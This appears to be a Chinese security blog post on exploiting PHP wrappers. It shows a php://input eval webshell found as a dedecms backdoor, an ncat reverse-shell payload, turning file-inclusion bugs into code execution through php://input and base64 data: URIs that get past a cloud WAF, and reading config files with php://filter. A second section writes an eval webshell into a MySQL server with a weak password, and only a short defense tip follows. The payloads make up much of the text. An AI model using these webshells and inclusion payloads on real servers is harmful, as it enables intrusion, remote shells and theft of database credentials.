碳基体

奋斗在产品安全第一线的安全妹子

php://input,php://filter,data URI schema的那些事


一、php://input一句话木马

在调研dedecms的历史漏洞时,发现了dedecms安装文件曾经出过被植入后门的漏洞(SSV-ID站点include目录下shopcar.class.php文件被植入一句话木马)

@eval(file_get_contents('php://input'))

我是个十足的php菜鸟,只有用到的时候才会去查查语法书,对php://input也只是有点印象而已,于是用脚本phpinput.php,配合firefox Hackbar插件测试了一下php://input的功能

<?php
$data=file_get_contents('php://input');
echo $data."<br/>";
//@eval(file_get_contents('php://input'))
?>

发现php://input是用来接收post数据(这里有 php://input的介绍)

 

注释掉phpinput.php的打印语句


<?php @eval(file_get_contents('php://input'))?>


使用firefox的hackbar提交上图显示的post data

system('ncat -e /bin/bash localhost 1234');


测试了一下nc反弹shell的利用,成功

 

看来,只要构造了合适的POST数据,就能达到getshell的目的。


二、php://input将文件包含漏洞变成代码执行漏洞

顿时觉得php://input好神奇,于是进一步搜索它还能发挥哪些作用。


在这里感谢Casperkid大牛的文章《php LFI读php文件源码以及直接post webshell》,我才知道文件包含可以这样深入。


接下来,演示TA是如何将文件包含漏洞转变成代码执行的漏洞。方法参考LFI exploitation via php://input


首先看一段存在文件包含漏洞的代码

<?php @include($_GET["file"])?>

 

我们使用php://input,将执行代码通过Firefox 的hackbar 在POST data中提交

<?php system('ifconfig');?>

看,文件包含漏洞变成代码执行漏洞了

   三、data URI schema将文件包含漏洞变成代码执行漏洞并绕过360网站卫士的WAF


那还有哪些办法,可以同样做到代码执行呢,Casperkid大牛的文章中提到,data URI schema的使用就可以达到这样的效果。

data URI schema,我曾经在做钓鱼的练习中,将攻击代码生成这种格式并配合短地址转换来生成恶意url,见《利用iframe URI钓鱼》,但没想到可以用在文件包含漏洞中。


接下来演示如何实施。


在实施的时候,我突然想到,文件包含漏洞,在读取php文件时,是不能显示文件内容的。

而很多情况,我们是急需读取PHP格式的配置文件,例如

dedecms数据库配置文件data/common.inc.php,

discuz全局配置文件config/config_global.php,

phpcms配置文件caches/configs/database.php

phpwind配置文件conf/database.php

wordpress配置文件wp-config.php

以便下一步渗透测试


于是我写了一段读取指定文件FileInclude.php的代码

<?php system('cat /var/www/FileInclude.php')?>

然后将攻击代码转化成data:URI,

data:text/plain,<?php system('cat /var/www/FileInclude.php')?>

运行,如下

   

注意,我们看到转化后的GET请求的参数中包含<?的标记,在遇到有些WAF,包括云WAF(例如360网站卫士),就会将其视为攻击代码,阻挡下来。于是我们需要做一下编码处理

data:text/plain;base64,[攻击代码的base64编码]


运行,如下

   

四、php://filter在文件包含漏洞中的利用——读取php文件源码内容

经过上面的操作,我们知道php://inputdata:URI schema可以将文件包含漏洞变成代码执行漏洞从而getshell。接下来看看php://input的好基友php://filter能做什么呢


参考LFI's Exploitation Techniques,我们可以采用php://filter以base64编码的方式读取指定文件的内容


php://filter/read=convert.base64-encode/resource=[文件路径]

下面演示通过php://filter读取本包含漏洞脚本的源码

 

接下来只要将base64编码后的字符串通过base64解码就可得到PHP文件的源码了



参考:

https://ddxhunter.wordpress.com/2010/03/10/lfis-exploitation-techniques/

https://zerofreak.blogspot.jp/2012/04/lfi-exploitation-via-phpinput-shelling.html

https://hi.baidu.com/qingsh4n/item/92ffa87281e7ee226cc37cc7

https://hi.baidu.com/casperkid/item/2baf952b13a9cd0e76272cb0

https://www.php.net/manual/zh/wrappers.php.php

来源:碳基体

办公网攻击——一句话木马获得生产服务机上的任何信息

以LAMP架构为例解说
第一步:使用sql扫描工具,获得内网中开放3306端口(sql server的默认端口号为1433),使用弱口令的主机
第二步:远程登录该台主机
mysql -u root -p
select "<?php eval($_POST['cmd']); ?>"  into outfile 'x:/文档根目录/xxx.php';
这时候我们遇到第一个难点,我们需要将该一句话木马上传到该主机的DocumentRoot下,而绝对路径名我们不知晓!!
尝试默认安装路径(很多测试用的服务器是没有修改基本配置的)
windows下,apache服务器的默认路径为"C:/Program Files/Apache Software Foundation/Apache2.2/htdocs/"
linux下,apache服务器的默认路径为“var/www/"
windows下,使用xampp套装服务的默认路径为"c:/Program Files/xampp/htdocs/xampp/"


备注:如果该网站是发布在外网环境下,可以采用google hacker办法爆绝对路径
site:域名 Warning
site:域名 inurl:Warning

第三步:使用工具lanker微型PHP后门客户2.0正式版.htm,对方的任何信息都可以获取到





防御措施:
1)最保险的

    让你的相关服务只监听在本机,不让别人访问(或者根据实际情况按白名单开放访问权限)


a. apache的conf/httpd.conf 文件内找到 Listen 80那一行,改成 Listen 127.0.0.1:80

b. mysql的my.ini 文件内找到[mysqld]那一段,在port = 3306上加一行bind = "127.0.0.1"


2)使用高强度密码,如 ^mysql#xx.com.$ ,同时安装一个专业的密码管理软件,如开源的keepass

来源:碳基体